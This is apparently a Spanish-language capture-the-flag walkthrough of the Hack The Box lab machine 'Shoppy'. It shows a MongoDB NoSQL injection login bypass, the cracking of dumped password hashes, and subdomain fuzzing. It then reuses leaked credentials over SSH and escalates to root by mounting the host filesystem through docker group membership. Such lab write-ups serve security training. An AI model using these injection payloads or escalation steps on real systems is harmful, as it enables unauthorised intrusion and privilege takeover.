Shoppy



Conocimientos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.180 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-27 16:37 GMT
Nmap scan report for 10.10.11.180
Host is up (0.15s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat

Nmap done: 1 IP address (1 host up) scanned in 12.38 seconds

Escaneo de versi贸n y servicios de cada puerto

nmap -sCV -p22,80,9093 10.10.11.180 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-27 16:37 GMT
Nmap scan report for 10.10.11.180
Host is up (0.22s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Tue, 27 Jun 2023 16:38:11 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 3
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 3
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 2.0548e-05
|     go_gc_duration_seconds{quantile="0.25"} 2.0548e-05
|     go_gc_dur
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Tue, 27 Jun 2023 16:38:12 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 3
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 3
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 2.0548e-05
|     go_gc_duration_seconds{quantile="0.25"} 2.0548e-05
|_    go_gc_dur
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.94%I=7%D=6/27%Time=649B1073%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,252E,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Tue,\x2
SF:027\x20Jun\x202023\x2016:38:11\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x
SF:20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles_
SF:total\x203\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count\x
SF:20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20application
SF:\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_gc_
SF:cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_gc_
SF:cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\x2
SF:0TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_to
SF:tal_gc_cycles_total\x203\n#\x20HELP\x20go_gc_duration_seconds\x20A\x20s
SF:ummary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collection

A帽ado el dominio shoppy.htb al /etc/hosts

Puerto 80 (HTTP)

Con whatweb analizo las tecnolog铆as que emplea el servidor web

whatweb http://10.10.11.180
http://10.10.11.180 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.23.1], IP[10.10.11.180], RedirectLocation[http://shoppy.htb], Title[301 Moved Permanently], nginx[1.23.1]
http://shoppy.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.23.1], IP[10.10.11.180], JQuery, Script, Title[Shoppy Wait Page][Title element contains newline(s)!], nginx[1.23.1]

La p谩gina principal se ve as铆:

Aplico fuzzing para descubrir rutas

gobuster dir -u http://shoppy.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shoppy.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/06/27 16:42:37 Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 173] [--> /css/]
/images               (Status: 301) [Size: 179] [--> /images/]
/js                   (Status: 301) [Size: 171] [--> /js/]    
/login                (Status: 200) [Size: 1074]              
/admin                (Status: 302) [Size: 28] [--> /login]   
/assets               (Status: 301) [Size: 179] [--> /assets/]
/fonts                (Status: 301) [Size: 177] [--> /fonts/] 
/exports              (Status: 301) [Size: 181] [--> /exports/]
                                                               
===============================================================
2023/06/27 16:43:12 Finished
===============================================================

En /admin hay un panel de inicio de sesi贸n

Intercepto la petici贸n con BurpSuite para ver como se tramita

POST /login HTTP/1.1
Host: shoppy.htb
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://shoppy.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://shoppy.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=test&password=test

Al cambiar la forma de tramitar los datos a JSON, la respuesta es la misma y no aparece ning煤n error

{"username":"test","password":"test"}

Pruebo una inyecci贸n NoSQL b谩sica

{"username":{"$ne":"test"},"password":{"$ne":"test"}}

Pero la p谩gina se queda colgada y no carga nada

HTTP/1.1 504 Gateway Time-out
Server: nginx/1.23.1
Date: Tue, 27 Jun 2023 16:50:29 GMT
Content-Type: text/html
Content-Length: 569
Connection: close

Encuentro un art铆culo en el que explican una NoSQL en MongoDB que permite bypassear la contrase帽a

{"username":"admin' || 'a'=='a","password":"test"}

Gano acceso a una nueva interfaz

Puedo buscar por usuarios

Al introducir una comilla devuelve un c贸digo de estado 500

Vuelve a ser vulnerable a inyecci贸n NoSQL

Me permite descargar un archivo

Contiene un hash que puedo tratar de crackear

at export-search.json | jq
[
  {
    "_id": "62db0e93d6d6a999a66ee67a",
    "username": "admin",
    "password": "23c6877d9e2b564ef8b32c3a23de27b2"
  },
  {
    "_id": "62db0e93d6d6a999a66ee67b",
    "username": "josh",
    "password": "6ebcea65320589ca4f2f1ce039975995"
  }
]

Los crackeo con Crackstation

Encuentro un subdomino por fuerza bruta

wfuzz -c -t 200 --hh=169 -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.shoppy.htb" http://shoppy.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://shoppy.htb/
Total requests: 151265

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                        
=====================================================================
                                                                                                                            
000082865:   200        0 L      141 W      3122 Ch     "mattermost"    

Lo a帽ado al /etc/hosts. Tengo un panel de inicio de sesi贸n

Son v谩lidas las credenciales josh:remembermethisway. Dentro, en unos mensajes, se exponen datos de acceso por SSH

Gano acceso y puedo ver la primera flag

ssh jaeger@10.10.11.180
The authenticity of host '10.10.11.180 (10.10.11.180)' can't be established.
ED25519 key fingerprint is SHA256:RISsnnLs1eloK7XlOTr2TwStHh2R8hui07wd1iFyB+8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.180' (ED25519) to the list of known hosts.
jaeger@10.10.11.180's password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jaeger@shoppy:~$ cat user.txt 
f988ea119cb933a2cf931b433ed8a4f4

Escalada

Tengo un privilegio a nivel de sudoers

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

Se trata de un binario compilado de 64 bits

jaeger@shoppy:~$ file /home/deploy/password-manager
/home/deploy/password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped

Se expone la ruta de un archivo de texto en las cadenas de caracteres imprimibles

jaeger@shoppy:~$ strings /home/deploy/password-manager | grep txt
cat /home/deploy/creds.txt

Al pasarle un encoder de 16 bits se leakea una 煤nica palabra

jaeger@shoppy:~$ strings -e l /home/deploy/password-manager
Sample

La introduzco como contrase帽a maestra y funciona sin problema

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Me convieto en este usuario

jaeger@shoppy:~$ su deploy
Password: 
$ bash
deploy@shoppy:/home/jaeger$ 

Pertenece al grupo docker

deploy@shoppy:/home/jaeger$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

Creo un contenedor que monte la ra铆z de la m谩quina host en el disco y puedo ver la segunda flag

nulldeploy@shoppy:/home/jaeger$ docker run -it -v /:/host/ d7d3d98c851f chroot /host/ bash root@2c1960d6a599:/# ls bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old root@2c1960d6a599:/# cd root/ root@2c1960d6a599:~# cat root.txt 50e81ed530ecf3b8a70ae2d2fd04c00d